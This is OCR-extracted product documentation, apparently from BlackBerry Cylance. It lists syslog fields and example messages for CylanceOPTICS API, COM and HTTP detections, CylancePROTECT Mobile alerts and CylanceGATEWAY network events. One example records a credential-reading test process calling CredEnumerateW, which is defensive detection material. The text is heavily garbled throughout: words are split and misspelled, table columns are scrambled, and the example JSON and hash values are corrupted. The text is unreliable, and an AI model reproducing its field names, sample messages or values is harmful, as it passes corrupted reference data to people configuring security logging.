Text Length: O, Operation: Start |WenServices:: Createl nstanceEnum - root
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\ St andardci nv2 : MSFT_Net | PAddress, Operation Length: 80, Device Id: c6246140-
bba5- 4c55- be02- 77300bf 91dbc

CylanceOPTICS API sensor detection events

These events occur when the optional APl sensor detects an alert for an identified set of Windows API calls. Note
that some fields will include command line values that can include commas and colons. BlackBerry recommends
that you review and test the parsing of these values by your SIEM or syslog server.

Field Value Description

API DLL [varies] The .dIl associated with the detection event.

API Function [varies] The function associated with the detection
event.

API Parameters [varies] The parameters of the function associated with

the detection event.

Description [varies] This is the name of the detection rule that was
triggered.

Detection Rule Id [varies] This is the unique detection rule ID.

Device Last Reported Users [varies] These are the last reported device users.

Device Name [varies] This is the name of the device that the

detection event occurred on.

Event Id [varies] This is the unique ID of the detection event.

Event Name OpticsCaeApiEvent This is the defined name for an APl sensor
detection.

Event Received Timestamp [varies] This is the timestamp of when the event was

received by CylanceOPTICS.

Event Timestamp [varies] This is the timestamp of the event that
occurred on the device.

Instigating Process Command Line [varies] This is the command line that was used to start
the instigating process.

Instigating Process File Path [varies] This is the file path of the instigating process
executable.

Instigating Process [varies] This is the SHA256 hash of the process that

ImageFileSha256 instigated the action.

Instigating Process Name [varies] This is the name of the process that instigated
the action.
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Field Value Description

Instigating Process Owner [varies] This is the user that owns the process that
instigated the action.

Severity [varies] Severity of the event:

+ High: A malicious event that requires
immediate attention

+  Medium: A suspicious event that should be
reviewed

+ Low: An important event that may not be
malicious
+ Info: An observed event

Zone lds [varies] This is a list of zone IDs that the device
belonged to at the time of the event.

Zone Names [varies] These are the zones that the device belongs to.

Example message for API sensor detection events

Event Nane: OpticsCaeApi Event, Devi ce Nane: SECURI TYSERVER3, Zone Nanes:
(ZoneOne, ZoneTwo), Event |d: d29eel0l-a2a2-42f 1-b9ab- 7e4bl8aeeef 1,
Severity: Hi gh, Description: Test - APl Sensor, High priority event,
Instigating Process Nanme: | ReadCredentials.exe, Instigating Process
Owner: PENTEST// Admi ni strator, Instigating Process |mageFil eSha256:
E24F5A2B51EC1C260388348AF764B8794CE0566749F5801D024B7B422C63DC56,
Event Ti nestanp: 2022-09-28T14: 23: 37.384Z, Event Received Ti nestanp:
2022-09- 28T14: 24: 30Z, Device Last Reported Users: (PENTEST\ Adm nistrator),
Zone |ds: (F568A8A8E401470282C1lFE98FDD1703C, 161EB91D79D6466A80182CF685FA7CAA) ,
Detection Rule Id: be7403ca- a9f 4- 4aa7- ad6d- 7c672bf a8f c9, Instigating Process
Conmand Line: | ReadCredentials.exe, Instigating Process File Path: c:\apisensor
\ireadcredential s. exe, APl DLL: Advapi 32.dll, APl Function: CredEnurerateW API
Par anet ers: Unknown

CylanceOPTICS COM object visibility detection events

These events occur when the CylanceOPTICS agent detects a potentially malicious behavior while monitoring
COM interface and API calls. Note that some fields will include command line values that can include commas
and colons. BlackBerry recommends that you review and test the parsing of these values by your SIEM or syslog
server.

Field Value Description

COM Interface [varies] This is the name of the interface
associated with the detection.

COM Interface ID [varies] This is the unique ID of the interface
associated with the detection.
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Field Value Description

COM Program [varies] This is the name of the program
associated with the detection.

Description [varies] This is the name of the detection rule that
was triggered.

Detection Rule Id [varies] This is the unique detection rule ID.

Device Id [varies] This is the unique ID of the device.

Device Last Reported Users [varies] These are the last reported device users.

Device Name [varies] This is the name of the device that the
detection event occurred on.

Event Id [varies] This is the unique ID of the detection
event.

Event Name OpticsCaeComEvent This is the name of COM object visibility

Event Received Timestamp
Event Timestamp

Event Type

Instigating Process Command
Line

Instigating Process File Path
Instigating Process
ImageFileSha256

Instigating Process Name

Instigating Process Owner

[varies]

[varies]

OpticsCaeComEvent

[varies]

[varies]

[varies]

[varies]

[varies]

detection event.

This is the timestamp of when the event
was received by CylanceOPTICS.

This is the timestamp of the event that
occurred on the device.

This is the type of COM object visibility
detection events.

This is the command line that was used to
start the instigating process.

This is the file path of the instigating
process executable.

This is the SHA256 hash of the process
that instigated the action.

This is the name of the process that
instigated the action.

This is the user who owns the process
that instigated the action.
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Field Value Description

Severity [varies] The severity of the event:

+ High: A malicious event that requires
immediate attention

+  Medium: A suspicious event that
should be reviewed

+ Low: An important event that may not
be malicious

Info: An observed event

Zone Ids [varies] This is a list of zone IDs that the device
belonged to at the time of the event.

Zone Names [varies] These are the zones that the device
belongs to.

Example message for log-based detection events

2023-08-23T07: 28: 59. 588000Z sysl oghost Cyl anceOPTICS - - [f2204973-

ddee- 4d97- 9cac- 1f 45f chOf ee6] Event Type: OpticsCaeConEvent, Event Nane:
Opt i csCaeConEvent, Devi ce Nane: DEVI CE-WL9, Zone Nanes: (Zone_ 3.x), Event Id:
9ebacl116- a20c-4929-9087-10f d7f dcb105, Severity: Hi gh, Description: Device -
Application COM Event, Instigating Process Nane: Googl eUpdate.exe, Instigating
Process Omer: NT AUTHORI TY// SYSTEM I nstigating Process | mageFil eSha256:
63854E78780866D2AE56A58958A1FDA017A71F54B71FE70CF5403958E961862A,
Event Ti mestanp: 2023-08-23T07: 28: 59.588Z, Event Received Ti nestanp:
2023-08-23T07: 29: 01Z, Device Last Reported Users: (W ndow Manager\ DW# 1),
Zone |ds: (D215191148D64DEE826768B62D64B244), Detection Rule Id: 15bllfa2-

fc61-4aa3-aa04-082c488f8a86, Instigating Process Comrand Line: "C:\Program
Fil es (x86)\ Googl e\ Updat e\ Googl eUpdat e. exe" /svc, Instigating Process File
Path: c:\programfiles (x86)\googl e\updat e\ googl eupdate. exe, COM I nterface
| D: 2933bf 81- 7b36- 11d2- b20e- 00c04f 983e60, COM Program nsxml, COM I nterface:
| XM_LDOVDocunent, Device |d: 744ac660- 9704- 4edb- a8d0- ae13a343f 3bf

CylanceOPTICS HTTP visibility detection events

These events occur when the CylanceOPTICS agent detects a potentially malicious Windows HTTP
transaction. Note that some fields will include command line values that can include commas and colons.
BlackBerry recommends that you review and test the parsing of these values by your SIEM or syslog server.

Field Value Description

Description [varies] This is the name of the detection rule that
was triggered.

Detection Rule Id [varies] This is the unique detection rule ID.

Device Last Reported Users [varies] These are the last reported device users.
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Field Value Description

Device Name [varies] This is the name of the device that the
detection event occurred on.

Event Id [varies] This is the unique ID of the detection
event.

Event Name OpticsCaeHttpEvent This is the name of HTTP visibility
detection event.

Event Received Timestamp [varies] This is the timestamp of when the event
was received by CylanceOPTICS.

Event Timestamp [varies] This is the timestamp of the event that
occurred on the device.

Event Type OpticsCaeHttpEvent This is the type of HTTP visibility detection
events.

Instigating Process Command  [varies] This is the command line that was used to

Line start the instigating process.

Instigating Process File Path [varies] This is the file path of the instigating
process executable.

Instigating Process [varies] This is the SHA256 hash of the process

ImageFileSha256 that instigated the action.

Instigating Process Name [varies] This is the name of the process that
instigated the action.

Instigating Process Owner [varies] This is the user who owns the process
that instigated the action.

Request Domain [varies] This is the domain that the request came
from.

Request Headers [varies] This provides information about the
headers in the request.

Request Length [varies] This specifies the length of the request.

Request Method [varies] This is the method of the request (for
example, GET).

Request Path [varies] This is the path of the request.

Request Port [varies] This is the port that the request came

from.
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Field Value Description

Request Version [varies] This is the version of the request (for
example, HTTP/1.1).

Response Headers [varies] This provides information about the
headers in the response.

Response Length [varies] This specifies the length of the response.
Response Status [varies] This is the status of the response.
Severity [varies] The severity of the event:

+ High: A malicious event that requires
immediate attention

+  Medium: A suspicious event that
should be reviewed

+ Low: An important event that may not
be malicious
Info: An observed event

User Agent [varies] These are string values that can include
characteristics like the app, operating
system, vendor, and version.

Zone Ids [varies] This is a list of zone IDs that the device
belonged to at the time of the event.

Zone Names [varies] These are the zones that the device
belongs to.

Example message for log-based detection events

2023-08- 23T15: 48: 52. 992000Z sysl oghost Cyl anceOPTICS - - [f2204973-
ddee- 4d97- 9cac- 1f 45f chOf ee6] Event Type: OpticsCaeHttpEvent, Event
Nanme: OpticsCaeHttpEvent, Device Nane: DEVI CE-W9, Zone Nanes:
(Zone_3.x), Event 1d: 4lea5ce4-6501-4c13-a7a2- 80f 9af ec9eee,
Severity: High, Description: DEVICE - Trigger on ANY http sensor
event, Instigating Process Name: svchost.exe, Instigating Process
Owner: NT AUTHORI TY// SYSTEM | nstigating Process | nmageFil eSha256:
2B105FB153B1BCD619B95028612B3A93C60B953EEF6837D3BB0099E4207 AAF6B,
Event Ti mestanp: 2023-08-23T15: 48: 52. 992Z, Event Recei ved
Ti mest anp: 2023- 08- 23T15: 48: 577, Devi ce Last Reported Users: (RIMNET
\ adnmi nuser, W ndow Manager\ DWM 1, W ndow Manager\ DWW 2), Zone |ds:
(D215191148D64DEE826768B62D64B244), Detection Rule Id: 9a82a2d3-
e6b0-4177- 9bac- 80ba5blef 982, |nstigating Process Conmmand Line: C:\W NDOAS
\ syst enB2\ svchost. exe -k netsvcs -p -s widsvc, Instigating Process File Path: c:
\'wi ndows\ syst enB2\ svchost. exe, Device |d: 744ac660-9704-4edb- a8d0- ae13a343f 3bf,
User Agent: M crosoft-CryptoAPI/10.0, Request Domai n: ocsp. digicert.com
Request Path: / MFEWTzBNMVESWSTAJBgUr DgMCGg UABBSAUQYBMj2awn1Rh6Doh
9%@2FsBYgFV7gQUASSONVDLRTLt nBKPi GxvDl 71 90VUCEAJOLgoXyo4hxxe7HY2Fz9DKAYBD, Request
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Met hod: GET, Request Port: 80, Request Version: HITP/ 1.1, Request Headers: O,
Request Length: 0, Response Status: 0, Response Headers: 0, Response Length: 0
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CylancePROTECT Mobile event types

If CylancePROTECT Mobile is enabled for your organization, you can choose to send the alerts that are detected
by the CylancePROTECT Mobile app on users’ devices to your organization’s SIEM solution or syslog server. This
section provides details about the mobile alert events that are sent.

CylancePROTECT Mobile alerts

This option is visible only if CylancePROTECT Mobile is enabled. When this option is turned on, the mobile alerts
that are detected by the CylancePROTECT Mobile app on users’ devices are sent to your organization’s syslog

server.
Field Value Description
Alert Id [varies] This is the unique ID associated with
the mobile alert.
Alert Name maliciousApplication: [app name] This is the name of the malicious app

sideLoadedApplication for Android: [app
name]

sideLoadedApplication for iOS: [signing ID]

jailbrokenOrRooted for Android: Rooted

jailbrokenOrRooted for iOS: Jailbroken

deviceEncryption: Encryption disabled

deviceScreenlock: Screenlock disabled

iOslIntegrityFailure: iOS App Integrity Check

androidSafetyNetFailure: Android
SafetyNet

that the CylancePROTECT Mobile
app detected.

This is the name of the sideloaded
app that the CylancePROTECT Mobile
app detected.

This is the signing ID of the
sideloaded app that the
CylancePROTECT Mobile app
detected.

The CylancePROTECT Mobile app
detected that the device is rooted.

The CylancePROTECT Mobile app
detected that the device is jailbroken.

The CylancePROTECT Mobile app
detected that encryption is not
enabled on the device.

The CylancePROTECT Mobile app
detected that a screen lock is not
enabled on the device.

The CylancePROTECT Mobile app
failed an integrity check.

The CylancePROTECT Mobile app
failed a SafetyNet attestation check.
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Field

Value

Description

Alert Status

Alert Type

androidHWFailure: Android Hardware

unsupportedSecurityPatch: [patch
version] OR Untrusted (attestation
certificate verification failed) OR Unknown
(attestation info is missing)

unsupportedOS: [0S name], [0S version]

unsupportedModel: [model name]

unsafeMessage: Malicious SMS OR
Feature disabled by user

compromisedNetwork: [Network_type]

insecureWiFi: [SSID] OR Feature disabled
by user

androidKnoxFailure: Android KNOX
Attestation OR Feature disabled by user

developerMode: Developer mode is
enabled

New
Resolved

maliciousApplication

sideLoadedApplication

The CylancePROTECT Mobile app
failed hardware certificate attestation.

The version of the unsupported
security patch that the
CylancePROTECT Mobile app
detected.

The name and version of

the supported OS that the
CylancePROTECT Mobile app
detected.

The name of the unsupported device
model that the CylancePROTECT
Mobile app detected.

The CylancePROTECT Mobile app
detected a text message with a
potentially unsafe URL.

The type of the potentially unsafe
network that the CylancePROTECT
Mobile app detected.

The SSID of the potentially
insecure Wi-Fi access point that
the CylancePROTECT Mobile app
detected.

Using Samsung Knox Enhanced
Attestation, CylancePROTECT Mobile
has identified a potential security
issue with the user's device.

The CylancePROTECT Mobile app
detected that developer mode is
enabled on the user's device.

The mobile alert is not yet resolved.
The mobile alert is resolved.

The CylancePROTECT Mobile app
detected a malicious app.

The CylancePROTECT Mobile app
detected a sideloaded app.
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Field

Value

Description

jailbrokenOrRooted

deviceEncryption

deviceScreenlock

iOsIntegrityFailure

androidSafetyNetFailure

androidHWFailure

unsupportedSecurityPatch

unsupportedOS

unsupportedModel

unsafeMessage

compromisedNetwork

insecureWiFi

The CylancePROTECT Mobile app
detected that the device is jailbroken
or rooted.

The CylancePROTECT Mobile app
detected that encryption is not
enabled on the device.

The CylancePROTECT Mobile app
detected that a screen lock is not
enabled on the device.

The CylancePROTECT Mobile app
failed an integrity check.

The CylancePROTECT Mobile app
failed a SafetyNet attestation check.

The CylancePROTECT Mobile app
failed hardware certificate attestation.

Based on the administrator
configuration of the CylancePROTECT
Mobile policy, the CylancePROTECT
Mobile app detected an unsupported
security patch.

Based on the administrator
configuration of the CylancePROTECT
Mobile policy, the CylancePROTECT
Mobile app detected that the device
has an unsupported OS.

Based on the administrator
configuration of the CylancePROTECT
Mobile policy, the CylancePROTECT
Mobile app detected that the device is
an unsupported model.

The CylancePROTECT Mobile app
detected a text message with a
potentially unsafe URL.

The CylancePROTECT Mobile app
detected a potentially unsafe network.

The CylancePROTECT Mobile app
detected a potentially insecure Wi-Fi
access point.
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Field

Value

Description

Application Sha256

Application Name

Attestation Rule Failure

Attestation State

Attestation SubType

Attestation Type

Description

androidKnoxFailure

developerMode

[SHA256 hash]

[app name]

[attestation rules]

[attestation state]

[attestation sub-type]

[attestation type]

maliciousApplication: [package name],
[package version], [SHA256 hash]

sideLoadedApplication for
Android: [package name], [package
version)], [installer source], [SHA256 hash]

sideLoadedApplication for iOS: empty
string

jailbrokenOrRooted: [0S name], [0S
version]

deviceEncryption: [0S name], [0S version]

Using Samsung Knox Enhanced
Attestation, CylancePROTECT Mobile
has identified a potential security
issue with the user's device.

The CylancePROTECT Mobile app
detected that developer mode is
enabled on the user's device.

This is the SHA256 hash of a
malicious or sideloaded Android app
that the CylancePROTECT Mobile
app detected.

This is the name of a malicious
or sideloaded Android app that
the CylancePROTECT Mobile
app detected.

These are the rules that failed when
an attestation check occurred for the
CylancePROTECT Mobile app.

This is the attestation state of the
CylancePROTECT Mobile app.

This is the sub-type of the attestation
check for the CylancePROTECT
Mobile app.

This is the type of the attestation
check for the CylancePROTECT
Mobile app.

These are the details of the malicious
app that was detected.

These are the details of the
sideloaded app that was detected.
This field is not supported for iOS.
This is the OS name and version of
the jailbroken or rooted device.
This is the OS name and version of

the device that does not have
encryption enabled.
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Field

Value

Description

Detected

Device Id

Device Model

Device Name

Event Type

deviceScreenlock: [0S name], [0S version]

iOsIntegrityFailure: [attestation type],
[attestation state]
androidSafetyNetFailure: [attestation type]
androidHWFailure: [attestation type],
[attestation state], [rule failure]
unsupportedOS: [0S name], [0S version]
unsafeMessage: [list of URLSs]
compromisedNetwork: [SSID]

insecureWiFi: [Wi-Fi access algorithms]

androidKnoxFailure: Knox, Device Failure

developerMode: [0S name], [0S version]

[varies]

[varies]

[model]

[varies]

MobileAlert

This is the OS name and version of
the device that does not have a
screen lock enabled.

These are the details of the failed i0OS
integrity check.

These are the details of the failed
SafetyNet attestation check.

These are the details of the failed
hardware certificate attestation.

This is the OS name and version of
the device with an unsupported OS.

The list of potentially unsafe URLs
that were detected.

The SSID of the potentially unsafe
network.

The Wi-Fi access algorithms of the
potentially insecure access point.

Using Samsung Knox Enhanced
Attestation, CylancePROTECT Mobile
has identified a potential security
issue with the user's device.

The name and version of the device
0S on which developer mode has
been detected.

This is the date and time the alert was
detected.

This is the unique ID of the user’s
device.

This is the model of the user's mobile
device.

This is the name of the user's mobile
device.

This is the defined event type for
mobile alerts.
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Field

Value

Description

Event Name

First Name

Installer Source

Last Name

Malicious URLs

Network Type

Os Name
Os Version

Package Name

Package Version

Signing Identity

Signing Identity Sha256

Ssid

ProtectMobileAlert

[varies]

[package name]

[varies]

[URLs]

[network type]

[0S name]
[OS version]

[package name]

[package version]

[signing ID]

[signing ID hash]

[SSID]

This is the defined event name for
mobile alerts.

This is the first name of the device
user.

This is the package name of

a sideloaded Android app that
the CylancePROTECT Mobile app
detected.

This is the last name of the device
user.

This is the list of potentially unsafe
URLs detected in a text message.

This is the type of a potentially unsafe
network.

This is the OS of the device.
This is the device's OS version.

This is the package name of a
malicious or sideloaded Android app
that the CylancePROTECT Mobile
app detected.

This is the package version of a
malicious or sideloaded Android app
that the CylancePROTECT Mobile
app detected.

This is the signing ID of a sideloaded
iOS app that the CylancePROTECT
Mobile app detected.

This is the signing ID hash
of a sideloaded iOS app that
the CylancePROTECT Mobile
app detected.

This is the SSID of a potentially
unsafe network.

Example syslog message

May 31 17:34: 04 sysl oghost Cyl ancePROTECT Event Type: MbbileAlert,
Event Nanme: ProtectMobileAlert, Alert Type: sideLoadedApplication,
Al ert Nane: Protect, Description: com blackberry. protect,
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1.4.397 (Installer Source: com googl e. androi d. packagei nstal l er),
1234ABCD5678EFGH1234ABCD5678EFGH1234ABCD5678EFGH1234ABCD5678EFCGH, Det ect ed:
5/ 31/ 2021 2:32:12 PM Alert Status: New, Device Nanme: Gal axy S9 SM (B60F,
First Nane: John, Last Name: Smith, Device Id: labc2345-67d8-9123- 45ef -

g45hi 67j 8kl 9, Alert 1d: alb23456-789c-12d3-e45f-g6h7i 8j k9123, Applicati on Sha245:
1234ABCD5678EFCGH1234ABCD5678EFGH1234ABCD5678EFGHL234ABCD5678EFGH, Appl i cati on
Nane: Protect, Installer Source: com googl e. androi d. packagei nstal | er, Package
Nane: com bl ackberry. protect, Package Version: 1.4.397
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CylanceGATEWAY event types

If CylanceGATEWAY is enabled for your organization, you can choose to send the alerts it detects to your
organization’s syslog server. This section provides details about the network threat events that are sent to the

syslog server.

CylanceGATEWAY network events

This option is visible only if CylanceGATEWAY is enabled. When this option is turned on, the events it detects are
sent to your organization’s syslog server.

Field Value Description
Tenant string This is the Tenant Service ID that is associated with
the endpoint.
User Eco Id [varies] This is the user's EcolD, if available.
Event Name Blocked Connection This is the defined event name for network alerts:
Allowed Connection Allowed connections: A detection happened and
. . a syslog event was generated, but the connection
dnsTunneling connection Co oo
was allowed based on the applied risk criteria.
+ Blocked connections: A detection happened and
a syslog event was generated, and the connection
was blocked based on the applied risk criteria.
Event Type NetworkThreat This is the defined event type for network alerts.
Message [varies] This is the message contains information related to
the event, in JSON string format.
Source big.blackberry.com This is the BlackBerry product generating the event.
Timestamp [varies] This is the date and time the event occurred.
Message descriptions
Field Value Description
tenantld string This is the Tenant Service ID that is associated with
the endpoint.
action string This is the action performed against this traffic. This

is unique to the associated event.
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Field Value Description

alertType string This is the alert type associated with the event. The
alert types determine when a syslog event is
generated. The supported types are:

+ ipReputation - event triggered due to destination
risk

+ signature - event triggered due to inspection of
packets

+ dnsTunnelling - event triggered by analysis of DNS
traffic between the client and DNS servers
accessControl - event triggered due to user's
network access rules

+ zeroDay - event triggered due to newly identified
malicious destinations that have not been
identified previously. After they are identified,
these destinations are assigned a risk score. They
are subsequently blocked or alerted upon based
on the risk level that you set for your network
protection. When they are blocked or alerted upon,
they will display as ipReputation alerts in your
organization's syslog server. For more information,
see Configure network protection settings.

ipRepRisk string This is the destination risk associated with the event.
The supported risk levels are:

+ High
+  Medium
« Low

ipRepContext string This identifies whether the IP reputation alert was
triggered by identifying a malicious IP address or
FQDN. The following values are supported:

- IP
FQDN
signature string These are the Packet Inspection Rule details of the

identified network threat, if applicable.

threatDetails string This is the Packet Inspection Rule category of the
identified network threat, if applicable. This threat
detail only applies to the signature alertType.

policyName string This is the name of the user's policy that triggered the
event, if applicable.

appName string This is the name of the application or network service
associated with the blocked event, if applicable.
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Field Value Description

mitre string This is the MITRE information related to the event.
Additional details are provided below.

techniqueld: The MITRE technique ID
techniqueName: The MITRE technique name
tacticld: The MITRE tactic ID

tacticName: The MITRE tactic name

mid: The MITRE mitigation technique ID
aptGid: The MITRE associated APT group ID

protocolContent string This is the protocolcontent for the http metatadata.
This field is only available with an HTTP request.

http string This is the http metadata request information related
to the event. Additional details are provided below.

length: The response length in bytes
hostname: The hostname header

url: The url of the HTTP request
httpUserAgent: The user agent header

httpContentType: The content type header from
the response

httpMethod: The request method
status: The non-200 response status code
protocol: The non-200 response status code

dnsTunnellingNameServer string A DNS query to this DNS server generated a DNS
tunneling alert.
dnsTunnellingScore string This is the confidence level of a DNS tunneling alert.
The following levels are supported:
High
Medium
Low
endpointld string This is the CylanceGATEWAY installation ID of the
endpoint as it is registered in UES.
venueEndpointld string This is the ID of the CylancePROTECT Desktop
service if it is installed on the same device.
dOsVers string This is the OS version of the device.
did string This is the UES ID of the device.
dPlat string This is the platform of the device.
dManuf string This is the manufacturer of the device.
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Field Value Description

dModel string This is the model of the device.

dHostName string This is the hostname of the device.

flowld int This is the ID of the CylanceGATEWAY access control
engine flow that this event is associated with.

correlationld string This is the correlation ID assigned to the event.

sourcelp string This is the packet source IP address.

sourcePort string This is the packet source port.

dstAddress string This is the destination address, either the FQDN or

the IP address (IPv4 or IPv6) of the IP packet that
triggered the event.

Use the ipRepContext field determine whether the field
value is an IP address or FQDN.

estPort string This is the packet destination port.
protocol string This is the protocol used to transit the packet.
endpointlp string This is the public source IP associated with the

endpoint. This IP is assigned by the network itself.

egresslp string This is the egress public IP address of the flow as it
left the BlackBerry Infrastructure.

natlp Int For private destinations, this is the NAT IP address of
this flow as it left the CylanceGATEWAY Connector
for your private network.

For public destinations, this is the NAT IP address
of this flow as it left the CylanceGATEWAY cloud
services for a public Internet destination.

natPort String This is the NAT port of this flow as it left
the CylanceGATEWAY Connector for your
private network.

category string This is the network traffic
category description associated with the destination.

subCategory string This is the network traffic subCategory description
associated with the destination.

processName string This is the name of the process that the DNS request
originated from.
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Field Value Description

rData string This is the DNS response that is associated with the
text record data.

Example syslog message - Access control policy (blocked)

{

"name": "bl ocked connection”,

"user Ecol d": " AkFgf sBTnaVat wDR8Ri YV6U=",

“"tenantld": "LO0O000000",

"type": "NetworkThreat",

"source": "big.blackberry.conf,

"tinmestanmp": "2022-03-29T13: 30: 30. 199348+0000",

"message": "{\"ipRepRisk\":\"\" \"ipRepContext\":\"\" \"flow d
\":2138936830200500,\"correl ationld\":\"684c4696- 9ba2- 48a4- 87f e- 4203339d4460\ ",
\"dld\":\"d1la365f 6- b96a- 4a8b- 870a- 6255d0ce8904\ ", \ "endpoi nt | d\ ":

\ " 0598f e72-67cc- 44d0- a738- 8a7af Oaf d6b8\ ", \ "dManuf\":\ "Exanpl e, Inc.\",\"dPl at
\":\"Wndows\ ", \"endpoi ntlp\":\"208. 65. 74. 38: 53047\ ", \ "dnsTunnel | i ngNaneSer ver
VoAt V" key oVt V" dst Address\ "\ "go. microsoft.com ", \"policyNanme\":

\"[ ACL_AUTQ Bl ockOf fice365\",\"dCsVers\":\"W ndows10Ent erpri se1909\",\"tenantld\":
\ "LO0000000\ ", \ "sourcePort\":63162,\"nmtreData\":\"\ ", \"dnsTunnel | i ngScore\":\"\",
\"action\":\"bl ocked\",\"signature\":\"AccessControl Bl ocked-DNS\",\"sourcel p\":
\"10.48.0.5\",\"al ert Type\":\"accessControl\",\"dModel \":\ " Exanpl eVirtual Pl at f orm
\",\"destPort\":53,\"category\":\"Conmputer and Information Technnol ogy\",

\ "venueEndpoi nt I d\ ":\"aba3204a- eed4a- 403e- a6d7- 59dalef f e1l88\",\ "t hreat Detail s\":
\"\", \"subCategory\":\"Informati on Technol ogy\",\"appNane\":\"\" \"protocol\":
\"UDP\",\"dHost Nane\":\"test.rimnet\"}"

}

Example syslog message - Signature detection (blocked)

{

“nane": "bl ocked connection",

"user Ecol d": " AkFgf sBTnGVat wDR8Ri YV6U=",

“"tenantld": "LO0000000",

"type": "NetworkThreat",

"source": "big.blackberry.conf,

"timestanmp": "2022-03-29T13:55: 26. 966461+0000",

"message": "{\"ipRepRisk\":\"\" \"ipRepContext\":\"\" \"fl ow d
\":1929920197345085,\"correl ati onld\":\"46a19072- df 9f - 41c9- 850b- 4495bcclcff1\",
\"dld\":\"a71c03d3- 5f 31- 4cla- bdf 2- 1e4caaf 6f 773\ ", \ "endpoi nt I d\ ":

\ "e5d72a88- 8388- 4f df - 9359- 1bf 1€12981b1\ ", \ "dManuf\":\ " Exanpl e, I nc.\ ", \"dPl at\":
\ "W ndows\",\"endpointlp\":\"172. 29. 135. 161: 34341\ ", \ "dnsTunnel | i ngNaneSer ver\":
VA V" keyV V" " N "dst Address\ "\ " wwww ti kt ok. com ", \ " policyName\":\"Al | owPublic
\",\"dGCsVers\":\"Wndows10Pr 0o20H2\",\ "t enant | d\":\"LO0O00000O\", \ "sourcePort
\":54189,\"mtreData\":{\"mtre\": {\"techni queNanme\ ":\ " Encrypt ed_Channel \ ",
\"tacticld\":\"TAS55\" \"tacticName\":\" Conmand_And_Control\",\"techni quel d\":
\"T555\"}},\"dnsTunnel I i ngScore\":\"\" , \"action\":\"bl ocked\",\"signature\":

\ "Test 3rdpart yDNSQuer yfor.toTLD(t p/i nternal - sources-rej ect/internal - sources-
reject/555)\",\"sourcel p\":\1"10.48.0.7\",\"alert Type\":\"signature\",\"dMbdel
\":\"Exanpl eVirtual Platformi",\"destPort\":53,\"category\":\"Security Risk\",

\ "venueEndpoi nt I d\":\"3c5c5130- a89b- 4f 41- 924a- 52f aa3f a8bcO\",\ "t hreat Detai | s\ ":
\"PotentiallyBadTraffic\",\"subCategory\":\"Potentially Harnful\",\"appNane\":
\"\", \"protocol\":\"UDP\",\"dHost Name\":\"test.rimnet\"}"
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Example syslog message - Signature detection (allowed)

":\"TestTool\",\"destPort\":53,\"category\":\"Security Ri sk\",\"venueEndpointld

{

"name": "allowed connection”,

"user Ecol d": "ArJfeKl f hWkZvA54| E6C&Gz8=",

“tenantld": "LO0O000000",

"type": "NetworkThreat",

"source": "big.blackberry.conf,

"tinmestanmp": "2022-03-29T14: 04: 48. 847396+0000",

"message": "{\"ipRepRisk\":\"\" \"ipRepContext\":\"\" \"flow d
\":1845277166201374,\"correl ati onld\":\"cclc64f0-1102-4118-b9bb- 8cd9674cb54f
VN "dldV "\ " f265243e- 8f €9- 492f - 9033- 1311acc5a7c8\ ", \ "endpoi nt I d\ ":

\ "ce480862- 358f - 4b92- 8917- d5db3d02be71\ ", \ "dManuf\ ":\ "Bl ackBerry\",\ "dPI at
\":\"Wndows\",\"endpoi ntlp\":\"192. 0. 2. 0: 53406\ ", \ "dnsTunnel | i ngNaneSer ver
VoAV V" keyV oV V" dst Addressy o\ " ww, ti kt ok. com ", \ " pol i cyNane\ " :

\"Al'l owPublic\",\"dOsVers\":\"5.6.7\",\"tenant|d\":\"L0O0O000000O\ ", \ "sourcePort
\":41808,\"nmitreData\":{\"mtre\": {\"techni queNanme\":\"Encrypt ed_Channel\",
\"tacticld\":\"TAS55\" ,\"tacticNanme\":\" Conmand_And_Control\",\"techni quel d\":
\"T555\"}},\"dnsTunnel | i ngScore\":\"\" , \"action\":\"al |l oned\",\"signature\":

\ "Test 3rdpart yDNSQuer yfor.toTLD(t p/i nternal - sources-rej ect/internal - sources-
reject/555)\",\"sourcel p\":\1"192. 0.2.20\",\"al ert Type\":\"si gnature\",\"dModel
\

\":\"venue 9876\",\"threatDetails\":\"PotentiallyBadTraffic\",\"subCategory\":
\"Potentially Harnful\", \"appNanme\":\"\" \"protocol\":\"UDP\",\"dHost Nane\ ":
\"test.exanple.com",\"egresslp\":\"35.170. 136. 211\ "}"

}

Example syslog message - IP reputation (blocked)

"i pReputati on\",\"dModel\":\"Exanpl eVirtual Platform ", \"dest Port\": 443,\"cat egory

{

"name": "bl ocked connection”,

"user Ecol d": " AkFgf sBTnaVat wDR8Ri YV6U=",

“tenantld": "LO0O000000",

"type": "NetworkThreat",

"source": "big.blackberry.conf,

"tinmestanmp": "2022-03-29T13: 39: 49. 806287+0000",

"message": "{\"i pRepRisk\":\"high\", \"ipRepContext\":\"fqdn\",\"fl ow d
\":176248481729935,\"correl ationld\":\"8af bcc93-2840- 4del- 9495-f 09ddeac5dlb
V", \"dld\":\"e2c3cde5- 9b09- 4f cd- 9a26- 6a9a5f e3e209\ ", \ "endpoi nt I d\":\ "a81lad01b-
€900- 4205- 8520- 4595f cf d6ec1\ ", \ "dManuf\ ":\"Exanpl e, Inc.\",\"dPl at\":\" W ndows
\",\"endpoi ntlp\":\"192. 0. 2. 0: 38294\ ",\ "dnsTunnel | i ngNaneServer\":\"\",
\"key\":\"\" \"dst Address\":\1"192.0.2.24\",\"policyNane\":\"Al | owPublic\",
\"dGCsVers\":\"W ndows10Ent er pri se1909\",\"tenant !l d\":\"LO0O0O0000O\ ", \"sourcePort
\":53845,\"nmitreData\":\"\",\"dnsTunnel | i ngScore\":\"\" \"action\":\"bl ocked\",
\"signature\":\"AccessControl Bl ocked\",\"sourcel p\":\"192.0.2.20\",\"al ert Type\":
\
\":\"Security Risk\",\"venueEndpoi ntld\":\"aba3204a- eeda- 403e- a6d7-59dalef fel88\",
\"threatDetail s\":\"\" \"subCategory\":\"Potentially Harnful\", \"appName\":\"\",
\"protocol\":\"TCP\",\"dHost Nanme\ ": t est. exanpl e.com "}"
}

Example syslog message - IP reputation (allowed)

{

"nane": "allowed connection",

"user Ecol d": "AvaMzj b9wi mDi cB9+g8eQU=",
“"tenant1d": "LO0000000",

"type": "NetworkThreat",

"source": "big.blackberry.conf,

"timestanmp”: "2022-03-29T13: 45: 03. 924052+0000",
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"message”: "{\"ipRepRisk\":\"medium",\"i pRepContext\":\"fgdn\",\"fl ow d
\":668552686147988,\"correl ationl d\":\"b515f bdf - d5f 2- 4204- a8ee- c8b094a53908\ ",
\"dld\":\"709f 5d7c- 8bad- 45ea- b5d8- b569€9292491\ ", \ "endpoi nt 1 d\":\ " 09be30f O-
